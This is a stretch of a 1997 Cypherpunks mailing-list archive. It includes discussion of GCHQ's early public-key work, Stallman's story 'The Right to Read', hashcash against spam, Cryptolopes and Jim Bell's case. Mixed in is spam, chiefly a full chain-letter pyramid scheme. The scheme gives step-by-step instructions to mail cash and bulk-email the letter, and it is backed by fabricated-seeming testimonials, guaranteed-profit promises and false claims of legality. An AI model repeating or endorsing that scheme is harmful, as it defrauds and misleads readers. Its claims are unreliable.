| > | >      http://jya.com/ellisdoc.htm
| > |
| > | Can patents be revoked due to prior art arguments?
| > 
| >         I think its a really bad precedent to revoking patents based
| > on the basis of secret documents released after the fact.  If you
| > believe in patents, then having your work nullifiable by government
| > claims is a bad idea.
| > ...
| 
| Maybe in the future this could be possible ... Let's say that
| NSA does hashes of all their scientific papers and timestamp
| them with some third party recognized company. This way NSA would
| be able to prove that they had an original idea even if they claim
| this only after someone else has reinvented it. 



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From declan at well.com  Thu Dec 18 07:07:47 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 18 Dec 1997 23:07:47 +0800
Subject: "The Right to Read" by Richard Stallman
Message-ID: 




---------- Forwarded message ----------
Date: Sat, 8 Feb 1997 02:41:21 -0500
From: Richard Stallman 
To: declan at well.com
Subject: Re: Feb CACM

Here is my CACM story.  It is my first published work of science fiction.


Copyright (C) 1996 Richard Stallman
Verbatim copying is permitted provided this notice is preserved.
This article appeared in the February 1997 issue of Communications of the
ACM (Volume 40, Number 2).


			The Right to Read
				by Richard Stallman

	     (from "The Road To Tycho", a collection of articles
	      about the antecedents of the Lunarian Revolution,
	      published in Luna City in 2096)

For Dan Halbert, the road to Tycho began in college--when Lissa Lenz
asked to borrow his computer.  Hers had broken down, and unless she
could borrow another, she would fail her midterm project.  There was
no one she dared ask, except Dan.

This put Dan in a dilemma.  He had to help her--but if he lent her his
computer, she might read his books.  Aside from the fact that you
could go to prison for many years for letting someone else read your
books, the very idea shocked him at first.  Like everyone, he had been
taught since elementary school that sharing books was nasty and
wrong--something that only pirates would do.

And there wasn't much chance that the SPA--the Software Protection
Authority--would fail to catch him.  In his software class, Dan had
learned that each book had a copyright monitor that reported when and
where it was read, and by whom, to Central Licensing.  (They used this
information to catch reading pirates, but also to sell personal
interest profiles to retailers.)  The next time his computer was
networked, Central Licensing would find out.  He, as computer owner,
would receive the harshest punishment--for not taking pains to prevent
the crime.

Of course, Lissa did not necessarily intend to read his books.  She
might want the computer only to write her midterm.  But Dan knew she
came from a middle-class family and could hardly afford the tuition,
let alone her reading fees.  Reading his books might be the only way
she could graduate.  He understood this situation; he himself had had
to borrow to pay for all the research papers he read.  (10% of those
fees went to the researchers who wrote the papers; since Dan aimed for
an academic career, he could hope that his own research papers, if
frequently referenced, would bring in enough to repay this loan.)

Later on, Dan would learn there was a time when anyone could go to the
library and read journal articles, and even books, without having to
pay.  There were independent scholars who read thousands of pages
without government library grants.  But in the 1990s, both commercial
and nonprofit journal publishers had begun charging fees for access.
By 2047, libraries offering free public access to scholarly literature
were a dim memory.

There were ways, of course, to get around the SPA and Central
Licensing.  They were themselves illegal.  Dan had had a classmate in
software, Frank Martucci, who had obtained an illicit debugging tool,
and used it to skip over the copyright monitor code when reading
books.  But he had told too many friends about it, and one of them
turned him in to the SPA for a reward (students deep in debt were
easily tempted into betrayal).  In 2047, Frank was in prison, not for
pirate reading, but for possessing a debugger.

Dan would later learn that there was a time when anyone could have
debugging tools.  There were even free debugging tools available on CD
or downloadable over the net.  But ordinary users started using them
to bypass copyright monitors, and eventually a judge ruled that this
had become their principal use in actual practice.  This meant they
were illegal; the debuggers' developers were sent to prison.

Programmers still needed debugging tools, of course, but debugger
vendors in 2047 distributed numbered copies only, and only to
officially licensed and bonded programmers.  The debugger Dan used in
software class was kept behind a special firewall so that it could be
used only for class exercises.

It was also possible to bypass the copyright monitors by installing a
modified system kernel.  Dan would eventually find out about the free
kernels, even entire free operating systems, that had existed around
the turn of the century.  But not only were they illegal, like
debuggers--you could not install one if you had one, without knowing
your computer's root password.  And neither the FBI nor Microsoft
Support would tell you that.

Dan concluded that he couldn't simply lend Lissa his computer.  But he
couldn't refuse to help her, because he loved her.  Every chance to
speak with her filled him with delight.  And that she chose him to ask
for help, that could mean she loved him too.

Dan resolved the dilemma by doing something even more unthinkable--he
lent her the computer, and told her his password.  This way, if Lissa
read his books, Central Licensing would think he was reading them.  It
was still a crime, but the SPA would not automatically find out about
it.  They would only find out if Lissa reported him.

Of course, if the school ever found out that he had given Lissa his
own password, it would be curtains for both of them as students,
regardless of what she had used it for.  School policy was that any
interference with their means of monitoring students' computer use was
grounds for disciplinary action.  It didn't matter whether you did
anything harmful--the offense was making it hard for the
administrators to check on you.  They assumed this meant you were
doing something else forbidden, and they did not need to know what it
was.

Students were not usually expelled for this--not directly.  Instead
they were banned from the school computer systems, and would
inevitably fail all their classes.

Later, Dan would learn that this kind of university policy started
only in the 1980s, when university students in large numbers began
using computers.  Previously, universities maintained a different
approach to student discipline; they punished activities that were
harmful, not those that merely raised suspicion.

Lissa did not report Dan to the SPA.  His decision to help her led to
their marriage, and also led them to question what they had been
taught about piracy as children.  The couple began reading about the
history of copyright, about the Soviet Union and its restrictions on
copying, and even the original United States Constitution.  They moved
to Luna, where they found others who had likewise gravitated away from
the long arm of the SPA.  When the Tycho Uprising began in 2062, the
universal right to read soon became one of its central aims.


Author's Note:

The right to read is a battle being fought today.  Although it may
take 50 years for our present way of life to fade into obscurity, most
of the specific laws and practices described above have already been
proposed--either by the Clinton Administration or by publishers.

There is one exception: the idea that the FBI and Microsoft will keep
the root passwords for personal computers.  This is an extrapolation
from the Clipper chip and similar Clinton Administration key-escrow
proposals, together with a long-term trend: computer systems are
increasingly set up to give absentee operators control over the people
actually using the computer system.

The SPA, which actually stands for Software Publisher's Association,
is not today an official police force.  Unofficially, it acts like
one.  It invites people to inform on their coworkers and friends; like
the Clinton Administration, it advocates a policy of collective
responsibility whereby computer owners must actively enforce copyright
or be punished.

The SPA is currently threatening small Internet service providers,
demanding they permit the SPA to monitor all users.  Most ISPs
surrender when threatened, because they cannot afford to fight back in
court.  (Atlanta Journal-Constitution, 1 Oct 96, D3.)  At least one
ISP, Community ConneXion in Oakland CA, refused the demand and was
actually sued (https://www.c2.net/ispdc/).  The SPA is said to have
dropped this suit recently, but they are sure to continue the campaign
in various other ways.

The university security policies described above are not imaginary.
For example, a computer at one Chicago-area university prints this
message when you log in (quotation marks are in the original):

    "This system is for the use of authorized users only.  Individuals using
    this computer system without authority or in the excess of their authority
    are subject to having all their activities on this system monitored and
    recorded by system personnel.  In the course of monitoring individuals
    improperly using this system or in the course of system maintenance, the
    activities of authorized user may also be monitored.  Anyone using this
    system expressly consents to such monitoring and is advised that if such
    monitoring reveals possible evidence of illegal activity or violation of
    University regulations system personnel may provide the evidence of such
    monitoring to University authorities and/or law enforcement officials."

This is an interesting approach to the Fourth Amendment: pressure most
everyone to agree, in advance, to waive their rights under it.


References:

The administration's "White Paper": Information Infrastructure Task
Force, Intellectual Property and the National Information
Infrastructure: The Report of the Working Group on Intellectual
Property Rights (1995).

An explanation of the White Paper:
The Copyright Grab, Pamela Samuelson, Wired, Jan. 1996
(http://www.hotwired.com/wired 4.01/features/whitepaper.html).

Sold Out, James Boyle, New York Times, 31 March 1996
(http://www.ese.ogi.edu/sold.out.html).

Public Data or Private Data, Washington Post, 4 Nov 1996
(http://wp2.washingtonpost.com/cgi-bin/displaySearch?WPlate+33653+%28database%26
geneva%29%3Adescription%26and%2619961102%3Cevent%5Fdate).

Union for the Public Domain--a new organization which aims to resist
and reverse the overextension of intellectual property powers.  For
more information, see http://www.public-domain.org/.


Bio:

Richard Stallman received the 1990 ACM Grace Murray Hopper award for
developing GNU Emacs.  He is also the author of the free symbolic
debugger GDB, and founded the project to develop the free GNU
operating system.








From aba at dcs.ex.ac.uk  Thu Dec 18 07:29:03 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 18 Dec 1997 23:29:03 +0800
Subject: Warez 1-29
In-Reply-To: <199712180752.XAA15650@toad.com>
Message-ID: <199712181318.NAA00466@server.eternity.org>




Toto,

Could you have a word with your nephew Human Gus Peter?  He just sent
1.1 Mb of encrypted warez to cypherpunks list.  I'm not bothered about
the warez, but am bothered about the volume.

If he wants to make warez available could you get him to learn how to
use the eternity service?  Then he could simply post a URL to the
list.

You see the problem is that in the UK, we do not get free local calls.
BT charges 3p (about 6 cents Canadian) per minute in the day for local
calls.  I gzip my mail before downloading, but still that was 818 Kb,
which is 6 minutes worth of email, and so cost me an additional 18p
(36 cents Canadian).

If I had the passphrase the warez was encrypted with I could evaluate
whether the warez was worth 18p to me.  In it's encrypted form it is
worth 0p.

Adam






From 31911738 at nathanhoward.com  Fri Dec 19 00:40:51 1997
From: 31911738 at nathanhoward.com (31911738 at nathanhoward.com)
Date: Fri, 19 Dec 1997 00:40:51 -0800 (PST)
Subject: $$ AUTOMATIC MONEY MACHINE$$
Message-ID: <>


THE MOST POWERFUL HOME BASED MONEY MAKER IN THE WORLD! 

GUARANTEED PROFIT, HIGH TECH BIZ for New Millennium. 

No Sales "Indirect Marketing". No Recruiting or MLM. 

Potential  $10,000  Residual Monthly Profit In 7 Months.

No Loss, Written Guarantee On Opportunity And Profit.

2 Minute Recording

1-888-693-5490

REFERENCE NUMBER:  TO8544






From 31911738 at nathanhoward.com  Fri Dec 19 00:40:51 1997
From: 31911738 at nathanhoward.com (31911738 at nathanhoward.com)
Date: Fri, 19 Dec 1997 00:40:51 -0800 (PST)
Subject: $$ AUTOMATIC MONEY MACHINE$$
Message-ID: <>


THE MOST POWERFUL HOME BASED MONEY MAKER IN THE WORLD! 

GUARANTEED PROFIT, HIGH TECH BIZ for New Millennium. 

No Sales "Indirect Marketing". No Recruiting or MLM. 

Potential  $10,000  Residual Monthly Profit In 7 Months.

No Loss, Written Guarantee On Opportunity And Profit.

2 Minute Recording

1-888-693-5490

REFERENCE NUMBER:  TO8544






From qqww22 at oo.net  Fri Dec 19 00:43:33 1997
From: qqww22 at oo.net (qqww22 at oo.net)
Date: Fri, 19 Dec 1997 00:43:33 -0800 (PST)
Subject: Christmas left me low on cash!!
Message-ID: 



Hello my name is Denette,

PRINT this letter, read the directions, THEN READ IT AGAIN !!!

The company I was working for just went out of business and I've been looking for a job.  I always 
used to delete unsolicited e-mail advertisements before I finished reading them.  I received what I 
assumed was this same e-mail countless times and deleted it each time.

Recently I received it again and thought , "OK, I give in, I'm going to try this, I need the money.  I 
can certainly afford to invest $20 and, on the other hand, there's nothing wrong with creating a little 
excess cash."  I promptly mailed four $5 bills and after receiving the reports, paid a friend of mine a 
small fee to send out some e-mail advertisements for me.  After reading the reports, I also learned 
how easy it is to bulk e-mail for free! 

You just need to follow the directions EXACTLY and you will reap the rewards also.  Read this letter, 
pick a lifelong dream you have and apply the letter and you will achieve success.  It really is that 
easy.  You don't need to be a wizard at the computer, but I'll bet you already are.   If you can open 
an envelope, remove the money, and send an e-mail message, then you're on your way to the bank.  
If I can do this, so can you!

                       GO FOR IT NOW!!

The following is a copy of the e-mail I read:

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

This is a LEGAL, MONEY-MAKING PHENOMENON.
PRINT this letter, read the directions, THEN READ IT AGAIN !!!

You are about to embark on the most profitable and unique program you may ever see.  Many times 
over, it has demonstrated and proven its ability to generate large amounts of cash.  This program is 
showing fantastic appeal with a huge and ever-growing on-line population desirous of additional 
income.

This is a legitimate, LEGAL, money-making opportunity.  It does not require you to come in contact 
with people, do any hard work, and best of all, you never have to leave the house, except to get 
the mail and go to the bank!  

This truly is that lucky break you've been waiting for!  Simply follow the easy instructions in this letter, 
and your financial dreams will come true! When followed correctly, this electronic, multi-level 
marketing program works perfectly...100% EVERY TIME! 

Thousands of people have used this program to:
    -  Raise capital to start their own business
    -  Pay off debts
    -  Buy homes, cars, etc., 
    -  Even retire! 

This is your chance, so don't pass it up!

----------------------------------------------------------------------------------
OVERVIEW OF THIS EXTRAORDINARY 
ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
----------------------------------------------------------------------------------

Basically, this is what we do:

We send thousands of people a product for $5.00 that costs next to nothing to produce and e-mail. 
As with all multi-level businesses, we build our business by recruiting new partners and selling our 
products.  Every state in the U.S. allows you to recruit new multi- level business online (via your 
computer).

The products in this program are a series of four business and financial reports costing $5.00 each.  
Each order you receive via "snail mail" will include:

  * $5.00 cash
  * The name and number of the report they are ordering
  * The e-mail address where you will e-mail them the report they ordered.

To fill each order, you simply e-mail the product to the buyer.  THAT'S IT!  The $5.00 is yours!  This 
is the EASIEST electronic multi-level marketing business anywhere! 

FOLLOW THE INSTRUCTIONS TO THE LETTER AND
BE PREPARED TO REAP THE STAGGERING BENEFITS!

******* I  N  S  T  R  U  C  T  I  O  N  S *******

This is what you MUST do:

1. Order all 4 reports shown on the list below (you can't sell them if you don't order them).
     
     *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
        REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
        RETURN POSTAL ADDRESS (in case of a problem) to the person whose 
        name appears on the list next to the report.
  
     *  When you place your order, make sure you order each of the four
        reports.  You will need all four reports so that you can save them
        on your computer and resell them.

     *  Within a few days you will receive, via e-mail, each of the four reports. 
         Save them on your computer so they will be accessible for you to send 
         to the 1,000's of people who will order them from you.

2.  IMPORTANT-- DO NOT alter the names of the people who are listed next 
     to each report, or their sequence on the list, in any way other than is
     instructed below in steps "a" through "d" or you will lose out on the
     majority of your profits.  Once you  understand the way this works, you'll 
     also see how it doesn't work if you change it.  Remember, this method 
     has been tested, and if you alter it, it will not work.

    a.  Look below for the listing of available reports.

    b.  After you've ordered the four reports, replace the name and address 
         under REPORT #1 with your name and address, moving the one that 
         was there down to REPORT #2.  

    c.  Move the name and address that was under REPORT #2 down to 
         REPORT #3.  

    d.  Move the name and address that was under REPORT #3 down to 
         REPORT #4.  

    e.  The name and address that was under REPORT #4 is removed from
         the list and has NO DOUBT collected their 50 grand.

Please make sure you copy everyone's name and address ACCURATELY!!!

3.  Take this entire letter, including the modified list of names, and save 
     it to your computer.  Make NO changes to the instruction portion of this 
     letter.
  
4.  Now you're ready to start an advertising campaign on the
     WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
     and there are HUNDREDS of FREE places to advertise. Another
     avenue which you could use for advertising is e-mail lists.  
     You can buy these lists for under $20/2,000 addresses or you
     can pay someone a minimal charge to take care of it for you. 
     BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5.  For every $5.00 you receive, all you must do is e-mail them the report
     they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
     ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
     with YOUR name and address on it, will be prompt because they can't
     advertise until they receive the report!

------------------------------------------
AVAILABLE REPORTS
------------------------------------------
***Order Each REPORT by NUMBER and NAME***

Notes:
-  ALWAYS SEND $5 CASH FOR EACH REPORT 
-  ALWAYS SEND YOUR ORDER VIA FIRST CLASS  MAIL 
-  Make sure the cash is concealed by wrapping it in at least two sheets of paper  
-  On one of those sheets of paper, include: (a) the number & name of the report you are ordering, (b) 
your e-mail address, and (c) your postal address.
_________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

ORDER REPORT #1 FROM:  
	VTM Services
	P.O. Box 3691
	Ventura, CA 93006
___________________________________________________________
REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:
 	KL Marketing
            5225 Blakeslee Ave. Ste. 149
            North Hollywood, CA 91601
_________________________________________________________________
REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:
 	AIK
            10629 Woodbridge Ave. Ste. 104
            Toluca Lake, CA 91602
_________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:
 	RCC Enterprises
            24303 Woolsey Cyn. #1
            West Hills, CA 91304      
_________________________________________________________________
--------------------------------------------------------------------------------------------------
HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
--------------------------------------------------------------------------------------------------

Let's say you decide to start small just to see how well it works. Assume your goal is to get 10 people 
to participate on your first level. (Placing a lot of FREE ads on the internet will EASILY get a larger 
response.) Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline 
members.  Follow this example to achieve the STAGGERING results below.

1st level--your 10 members with $5...........................................$50
2nd level--10 members from those 10 ($5 x 100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                                                   THIS TOTALS        ----------->$55,550

Remember friends, this assumes that the people who participate only recruit 10 people each.  Think 
for a moment what would happen if they got 20 people to participate!  Most people get 100's of 
participants! THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely you can afford $20). You obviously 
already have an internet connection and e-mail is FREE!!! REPORT#3 shows you the most 
productive methods for bulk e-mailing and purchasing e-mail lists.  Some list & bulk e-mail vendors 
even work on trade!

About 50,000 new people get online every month!

*******TIPS FOR SUCCESS*******

 *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
     the directions accurately.

 *  Send for the four reports IMMEDIATELY so you will have them when 
    the orders start coming in because:

When you receive a $5 order, you MUST send out the requested product/report to comply with the 
U.S. Postal & Lottery Laws, Title 18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S. 
Code, also Code of Federal Regs. vol. 16, Sections 255 and 436, which state that "a product or 
service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program. If you follow the 
    instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

*******YOUR SUCCESS GUIDELINE*******

Follow these guidelines to guarantee your success:

If you don't receive 10 to 20 orders for REPORT #1 within two weeks, continue advertising until you 
do.  Then, a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you 
don't, continue advertising until you do.  Once you have received 100 or more orders for REPORT 
#2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to 
roll in!

THIS IS IMPORTANT TO REMEMBER:

Every time your name is moved down on the list, you are placed in front of a DIFFERENT report.  
You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you.  
If you want to generate more income, send another batch of e-mails and start the whole process 
again!  There is no limit to the income you will generate from this business!

NOTE:  If you need help with starting a business, registering a business name, how income tax is 
handled, etc., contact your local office of the Small Business Administration (a Federal agency) for 
free help and answers to questions. Also, the Internal Revenue Service offers free help via 
telephone and free seminars about business taxes.

*******T  E  S  T  I  M  O  N  I  A  L  S*******

     This program does work, but you must follow it EXACTLY!  Especially the rule of not trying to 
place your name in a different position, it won't work and you'll lose a lot of potential income.  I'm 
living proof that it works.  It really is a great opportunity to make relatively easy money, with little cost 
to you.  If you do choose to participate, follow the program exactly, and you'll be on your way to 
financial security. 
          Sean McLaughlin, Jackson, MS

     My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am a cost accountant with a major 
U.S. Corporation and I make pretty good money. When I received the program I grumbled to Doris 
about receiving "junk mail." I made fun of the whole thing, spouting my knowledge of the population 
and percentages involved.  I "knew" it wouldn't work. Doris totally ignored my supposed intelligence 
and jumped in with both feet. I made merciless fun of her, and was ready to lay the old "I told you 
so" on her when the thing didn't work... well, the laugh was on me!  Within two weeks she had 
received over 50 responses. Within 45 days she had received over $147,200 in $5 bills! I was 
shocked!  I was sure that I had it all figured and that it wouldn't work.  I AM a believer now. I have 
joined Doris in her "hobby."   I did have seven more years until retirement, but I think of the "rat 
race" and it's not for me. We owe it all to MLM.
           Frank T., Bel-Air, MD

    I just want to pass along my best wishes and encouragement to you.  Any doubts you have will 
vanish when your first orders come in. I even checked with the U.S. Post Office to verify that the 
plan was legal. It definitely is! IT WORKS!!!
           Paul Johnson, Raleigh, NC

    The main reason for this letter is to convince you that this system is honest, lawful, extremely 
profitable, and is a way to get a large amount of money in a short time. I was approached several 
times before I checked this out. I joined just to see what one could expect in return for the minimal 
effort and money required.  To my astonishment, I received $36,470.00 in the first 14 weeks, with 
money still coming in.
           Sincerely yours, Phillip A. Brown, Esq.

    Not being the gambling type, it took me several weeks to make up my mind to participate in this 
plan. But conservative that I am, I decided that the initial investment was so little that there was just 
no way that I wouldn't get enough orders to at least get my money back. Boy, was I surprised when 
I found my medium-size post office box crammed with orders!  For awhile, it got so overloaded that I 
had to start picking up my mail at the window. I'll make more money this year than any 10 years of 
my life before. The nice thing about this deal is that it doesn't matter where in the U.S. the people 
live. There simply isn't a better investment with a faster return.
         Mary Rockland, Lansing, MI

    I had received this program before. I deleted it, but later I wondered if I shouldn't have given it a 
try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed 
another program...11 months passed then it came...I didn't delete this one!...I made more than 
$41,000 on the first try!!
          D. Wilburn, Muncie, IN

     This is my third time to participate in this plan. We have quit our jobs, and will soon buy a home 
on the beach and live off the interest on our money.  The only way on earth that this plan will work 
for you is if you do it. For your sake, and for your family's sake don't pass up this golden opportunity.  
Good luck and happy spending!
           Charles Fairchild, Spokane, WA

ORDER YOUR REPORTS TODAY AND GET STARTED ON 
YOUR ROAD TO FINANCIAL FREEDOM!!!






From schear at lvdi.net  Thu Dec 18 09:50:01 1997
From: schear at lvdi.net (Steve Schear)
Date: Fri, 19 Dec 1997 01:50:01 +0800
Subject: message dependent hashcash => no double spend database  (Re:hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971214234241.03899220@mail.atl.bellsouth.net>
Message-ID: 



>On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:
>Yes, but if you just phase it in over time, what benefit, if any, will
>users see until hashcash is fully deployed.  Until that time, people will
>still have to accept email without hashcash or risk losing important
>messages. 

If I want to send an important message to you and I get a hashcash rejection reponse and I'm given a Web site where I can get a Java applet to create the hashcash, I'll do it.  We all know we must affix postage to our snailmail. Its time to embrace the postal system's paradigm and educate the reminder of the Net.  Those who risk missing an email or two will totally stop their SPAM. Those who won't, won't.

>I don't see people adopting hashcash unless there is some intermediate
>benefit to doing so.

All we need is a small, influential, group to sing the praises of hashcash.  I'm sure Declan and Wired will pick up the banner if what we come up with works.  After that IETF activity is a far gone conclusion.

--Steve







From sunder at brainlink.com  Thu Dec 18 09:52:08 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 19 Dec 1997 01:52:08 +0800
Subject: MISTY is patented International Patent
In-Reply-To: <199712180730.CAA30209@users.invweb.net>
Message-ID: 



On Thu, 18 Dec 1997, William H. Geiger III wrote:

> >MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc. A
> >license is needed to "make, use or sell".
> 
> Who cares?!?

Actualy, I do.  Not! To me, this says, if you make a piece of shit, you
can patent it and keep others from using it, playing with it, or making
their own shit. :) 

:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From schear at lvdi.net  Thu Dec 18 09:59:39 1997
From: schear at lvdi.net (Steve Schear)
Date: Fri, 19 Dec 1997 01:59:39 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712171946.OAA08750@homeport.org>
Message-ID: 



At 7:14 PM -0200 12/18/1997, Vicente Silveira wrote:
>Adam Shostack wrote:
>> 
>> Jim Burnes wrote:
>> 
>> | >      http://jya.com/ellisdoc.htm
>> |
>> | Can patents be revoked due to prior art arguments?
>> 
>>         I think its a really bad precedent to revoking patents based
>> on the basis of secret documents released after the fact.  If you
>> believe in patents, then having your work nullifiable by government
>> claims is a bad idea.
>> ...
>
>Maybe in the future this could be possible ... Let's say that
>NSA does hashes of all their scientific papers and timestamp
>them with some third party recognized company. This way NSA would
>be able to prove that they had an original idea even if they claim
>this only after someone else has reinvented it.

I believe the GATT we signed prohibits so-called submarine patents which are  filed or issued significantly after their date of inception, frequently due to delaying tactics by the filer in the patent office.  If so, no gov't newly filed claims should affect the issued patents.

--Steve

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
Lammar Laboratories       |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear at lvdi.net
---------------------------------------------------------------------







From FisherM at exch1.indy.tce.com  Thu Dec 18 10:36:12 1997
From: FisherM at exch1.indy.tce.com (Fisher Mark)
Date: Fri, 19 Dec 1997 02:36:12 +0800
Subject: IBM Abandons Cryptolopes
Message-ID: <2328C77FF9F2D011AE970000F84104A74934B9@indyexch_fddi.indy.tce.com>



CNET has the full story at
.

Apparently (IMHO), someone at IBM realized that Cryptolopes were
isomorphic to copy-protection -- and we all know how much
widely-available commercial software is copy-protected today (i.e. none
to speak of).  As a veteran of the copy-protection wars on the side of
the bad guys (the copy-protectors), it is just impossible to fully
copy-protect software given the current state of PC and workstation
hardware (though I expect most of you already know this).  I predict
that if someone tries to add features to computers to make
copy-protection more tamper-resistant, there will be a great groundswell
of protest by the mass of computer users, both private and corporate.
Only if such protection were mandated by government (a la Stallman's
"The Right to Read") would this even be close to feasible.

To close, a quote from Eugene Spafford:
"The only truly secure system is one that is powered off, cast in a
block of concrete and sealed in a lead-lined room with armed guards --
and even then I have my doubts."
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm at indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"






From tcmay at got.net  Thu Dec 18 10:39:09 1997
From: tcmay at got.net (Tim May)
Date: Fri, 19 Dec 1997 02:39:09 +0800
Subject: Toto, knock it off!
In-Reply-To: <199712180752.XAA15650@toad.com>
Message-ID: 



At 6:18 AM -0700 12/18/97, Adam Back wrote:
>Toto,
>
>Could you have a word with your nephew Human Gus Peter?  He just sent
>1.1 Mb of encrypted warez to cypherpunks list.  I'm not bothered about
>the warez, but am bothered about the volume.
>
>If he wants to make warez available could you get him to learn how to
>use the eternity service?  Then he could simply post a URL to the
>list.

You're far too kind, Adam.

This fool who sometimes posts as Toto, sometimes as TruthMonger, sometimes
as Human Gus-Peter, sometimes as Admiral Bubba Something, and so on, is
simply set on disrupting the list.

I long ago started deleting his stuff unread, or as soon as I saw it was
from "Colonel Parker" or "A Player to be Named Later," or whatever. The
guy, whomever he is, probably has some real writing skills, but they've
been lost in what I have to presume is a bourbon fog.

His stuff took me far too long to download this morning at 2:30 a.m., and
then more of this shit this morning. All to just have it all deleted.

Please, Toto or Whomever, knock it off.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From FisherM at exch1.indy.tce.com  Thu Dec 18 10:44:37 1997
From: FisherM at exch1.indy.tce.com (Fisher Mark)
Date: Fri, 19 Dec 1997 02:44:37 +0800
Subject: Jim Bell and Why the Government Did What It Did
Message-ID: <2328C77FF9F2D011AE970000F84104A7AB8365@indyexch_fddi.indy.tce.com>



I've been doing a lot of thinking on Jim Bell's plight, so based on my
experiences with government workers, this is how I think it happened:

(A little background -- my wife and I have a hobby of doing small
real-estate developments, so we have ended up dealing with the local
government employees quite a bit, so much so that they know us by name
and face by now.)  One big impression left with me by government
employees is that most of them are serious, nay even solemn, people.  I
think that they are the kind of people who never have perpetrated a
prank in their lives.  Couple that fact with the kind of prank Jim Bell
pulled (using mercaptan (sp?) to the level of making people vomit from
the smell), and I suspect that the IRS folks got incredibly bent out of
shape over it.  (As I myself would if I had an office that I
administered and someone did that to my employees and/or me.)

The incredible anger that was likely generated by that action (a prank
in Jim's eyes, but certainly not in the eyes of the IRS employees)
caused them to try everything legally within their power to "get" Jim
Bell.  His use of multiple SS#'s to avoid paying taxes probably just
increased their fury, given that the job of the IRS (according to the
likely majority viewpoint of IRS employees) is to ensure the compliance
of their fellow citizens with the tax code so that the burden may be
shared fairly.  Jim's AP writings added fuel to the IRS employee's
fires, most likely causing them to think that Jim was going to be up to
more serious deeds in the future -- but that was not the likely the
initial cause of their furor, it was the attack on their offices and the
attack on their livelihood and the government that they all work for.
If Mr. Bell had not made his attack on their office, and had not tried
to illegally evade taxes, we would still likely be reading his musings
and rantings on AP as he would be walking around a free man.  AP, of
course, made for wonderful :) publicity for the IRS in Jim Bell's case,
as it is something that the media could really sink its teeth into.

So, in short -- Jim Bell, IMHO, is in jail because he vandalized IRS
offices and prevented them from doing their legally-appointed duties --
not because of AP.  AP just gave the IRS and the media a lot of good,
juicy tidbits to feed to the public about Mr. Bell.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm at indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"






From 61450084 at aol.com  Fri Dec 19 03:27:01 1997
From: 61450084 at aol.com (61450084 at aol.com)
Date: Fri, 19 Dec 1997 03:27:01 -0800 (PST)
Subject: AD: " Market Your Product On The Internet "
Message-ID: <199711032654FAA6058@aol.com>


	

                        Advanced Internet Marketing



	   Join our winning team and learn how to market your 
product properly. You've heard the rumors of marketing your 
product on the Internet and making embarrassing  amounts of 
money doing  it. Well, what are you waiting for, join our team 
NOW! 

	           ****** THIS IS A LIMITED TIME OFFER! ******

